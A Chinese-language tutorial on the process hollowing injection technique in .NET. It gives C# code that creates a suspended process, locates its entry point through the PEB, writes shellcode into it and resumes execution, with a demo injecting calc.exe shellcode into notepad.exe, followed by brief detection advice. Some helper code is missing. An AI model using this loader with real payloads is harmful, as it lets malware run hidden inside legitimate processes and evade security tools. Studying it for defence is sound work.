.NET隐藏技术之傀儡进程
字数 808 2025-08-23 18:31:34
.NET隐藏技术之傀儡进程详解
一、傀儡进程概述
傀儡进程(Process Hollowing)是一种高级进程注入技术,通过修改目标进程的内存数据,向其中写入Shellcode,并修改进程的执行流程,使其转向执行恶意的Shellcode代码。这种技术常用于绕过安全检测,因为恶意代码是在合法进程的上下文中执行的。
二、关键技术函数
1. ZwQueryInformationProcess
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(
IntPtr hProcess,
int procInformationClass,
ref PROCESS_BASIC_INFORMATION procInformation,
uint ProcInfoLen,
ref uint retlen);
作用:获取指定进程的信息,特别是进程环境块(PEB)的地址。
2. ReadProcessMemory
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
[Out] byte[] lpBuffer,
int dwSize,
out IntPtr lpNumberOfBytesRead);
作用:从指定进程的内存中读取数据。
3. ResumeThread
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
作用:恢复被挂起的线程的执行。
三、实现步骤详解
1. 创建挂起进程
public PROCESS_INFORMATION StartProcess(string path)
{
STARTUPINFO startInfo = new STARTUPINFO();
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
uint flags = CreateSuspended | DetachedProcess;
if (!CreateProcess((IntPtr)0, path, 0, (IntPtr)0, true, flags,
(IntPtr)0, (IntPtr)0, ref startInfo, out procInfo))
return procInfo;
}
关键点:
- 使用
CreateSuspended标志创建进程,使主线程处于挂起状态 DetachedProcess标志使新进程与父进程分离
2. 定位进程入口点
public IntPtr FindEntry(IntPtr hProc)
{
var basicInfo = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
var success = ZwQueryInformationProcess(hProc, 0, ref basicInfo,
(uint)(IntPtr.Size * 6), ref tmp);
IntPtr readLoc = IntPtr.Zero;
var addrBuf = new byte[IntPtr.Size];
// 32位和64位系统处理方式不同
if (IntPtr.Size == 4)
{
readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8);
}
else
{
readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16);
}
IntPtr nRead = IntPtr.Zero;
if (!ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead)
|| nRead == IntPtr.Zero)
return IntPtr.Zero;
if (IntPtr.Size == 4)
readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0));
else
readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
pModBase_ = readLoc;
if (!ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead)
|| nRead == IntPtr.Zero)
return IntPtr.Zero;
return GetEntryFromBuffer(inner_);
}
关键点:
- 通过
ZwQueryInformationProcess获取PEB地址 - 根据系统架构(32/64位)计算正确的偏移量
- 读取进程内存定位入口点
3. 写入Shellcode并恢复执行
public void MapAndStart(PROCESS_INFORMATION pInfo)
{
var tmp = MapSection(pInfo.hProcess, PageReadWriteExecute, IntPtr.Zero);
if (tmp.Key == (IntPtr)0 || tmp.Value == (IntPtr)0)
throw new SystemException("向目标进程写入失败!");
remotemap_ = tmp.Key;
remotesize_ = tmp.Value;
var patch = BuildEntryPatch(tmp.Key);
try
{
var pSize = (IntPtr)patch.Key;
IntPtr tPtr = new IntPtr();
if (!WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value,
pSize, out tPtr) || tPtr == IntPtr.Zero)
throw new SystemException("写入失败!");
}
finally
{
if (patch.Value != IntPtr.Zero)
Marshal.FreeHGlobal(patch.Value);
}
var tbuf = new byte[0x1000];
var nRead = new IntPtr();
if (!ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead))
throw new SystemException("Failed!");
var res = ResumeThread(pInfo.hThread);
if (res == unchecked((uint)-1))
throw new SystemException("恢复线程失败!");
}
关键点:
- 分配可执行内存区域
- 写入Shellcode到目标进程
- 修改入口点指向Shellcode
- 恢复线程执行
四、示例:执行计算器Shellcode
static void Main(string[] args)
{
byte[] shellcode = new byte[193] {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0,
0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b,
0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61,
0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2,
0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11,
0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3,
0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6,
0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75,
0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b,
0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c,
0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24,
0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00,
0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,
0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47,
0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
var ldr = new Loader();
ldr.Load("notepad.exe", shellcode);
}
关键点:
- 定义计算器的Shellcode
- 创建notepad.exe作为傀儡进程
- 注入并执行Shellcode
五、防御措施
- 监控进程创建行为,特别是带有
CREATE_SUSPENDED标志的进程创建 - 检测进程内存中的异常修改,特别是入口点的修改
- 使用行为分析检测异常进程行为
- 限制低权限用户的进程创建权限
六、总结
傀儡进程技术是一种高级的进程注入技术,通过利用合法进程的上下文执行恶意代码,可以有效绕过许多安全检测机制。理解其工作原理对于安全研究和防御都至关重要。